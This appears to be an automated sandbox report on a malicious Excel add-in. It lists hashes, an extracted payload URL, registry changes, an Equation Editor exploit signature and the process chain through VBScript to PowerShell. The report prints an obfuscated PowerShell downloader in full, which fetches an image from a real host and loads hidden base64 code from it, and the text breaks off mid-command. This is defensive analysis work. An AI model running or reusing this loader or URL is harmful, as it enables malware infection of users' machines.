Analysis
-
max time kernel
150s -
max time network
128s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
11-10-2023 11:19
Static task
static1
Behavioral task
behavioral1
Sample
7a6367cdd9d6d0db0c685487937d09f9881cbbcdc936b3750bd89ed7fcbad407_JC.xlam
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
7a6367cdd9d6d0db0c685487937d09f9881cbbcdc936b3750bd89ed7fcbad407_JC.xlam
Resource
win10v2004-20230915-en
General
-
Target
7a6367cdd9d6d0db0c685487937d09f9881cbbcdc936b3750bd89ed7fcbad407_JC.xlam
-
Size
654KB
-
MD5
bb1be8aabfa3b7b55acaf121f7be3a05
-
SHA1
a5a02621318a15252808779c217e49e876174ed9
-
SHA256
7a6367cdd9d6d0db0c685487937d09f9881cbbcdc936b3750bd89ed7fcbad407
-
SHA512
c258d8fb2a76675d3058d7fcd5a34289b03452e521a68fa5b272b7bd1b72b3b191b112e66427914f007b40f52f5437ab54fb5545d6f628a4691a6f506208ba92
-
SSDEEP
12288:X3ESjOqP3NhfIdnsaKZ3EDowgaimuSwHgF9aIfg8NkTNaK:nEzqIv4EsNPmuStPX+aK
Malware Config
Extracted
https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937
https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937
Signatures
-
Blocklisted process makes network request 4 IoCs
flow pid Process 3 2196 EQNEDT32.EXE 7 524 powershell.exe 9 524 powershell.exe 11 524 powershell.exe -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
pid Process 2196 EQNEDT32.EXE -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3513876443-2771975297-1923446376-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1548 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2512 powershell.exe 2452 powershell.exe 524 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2512 powershell.exe Token: SeDebugPrivilege 2452 powershell.exe Token: SeDebugPrivilege 524 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1548 EXCEL.EXE 1548 EXCEL.EXE 1548 EXCEL.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2196 wrote to memory of 2692 2196 EQNEDT32.EXE 30 PID 2196 wrote to memory of 2692 2196 EQNEDT32.EXE 30 PID 2196 wrote to memory of 2692 2196 EQNEDT32.EXE 30 PID 2196 wrote to memory of 2692 2196 EQNEDT32.EXE 30 PID 2692 wrote to memory of 2452 2692 WScript.exe 31 PID 2692 wrote to memory of 2452 2692 WScript.exe 31 PID 2692 wrote to memory of 2452 2692 WScript.exe 31 PID 2692 wrote to memory of 2452 2692 WScript.exe 31 PID 2692 wrote to memory of 2512 2692 WScript.exe 34 PID 2692 wrote to memory of 2512 2692 WScript.exe 34 PID 2692 wrote to memory of 2512 2692 WScript.exe 34 PID 2692 wrote to memory of 2512 2692 WScript.exe 34 PID 2452 wrote to memory of 524 2452 powershell.exe 38 PID 2452 wrote to memory of 524 2452 powershell.exe 38 PID 2452 wrote to memory of 524 2452 powershell.exe 38 PID 2452 wrote to memory of 524 2452 powershell.exe 38
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\7a6367cdd9d6d0db0c685487937d09f9881cbbcdc936b3750bd89ed7fcbad407_JC.xlam1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1548
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\tbwqiplh.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀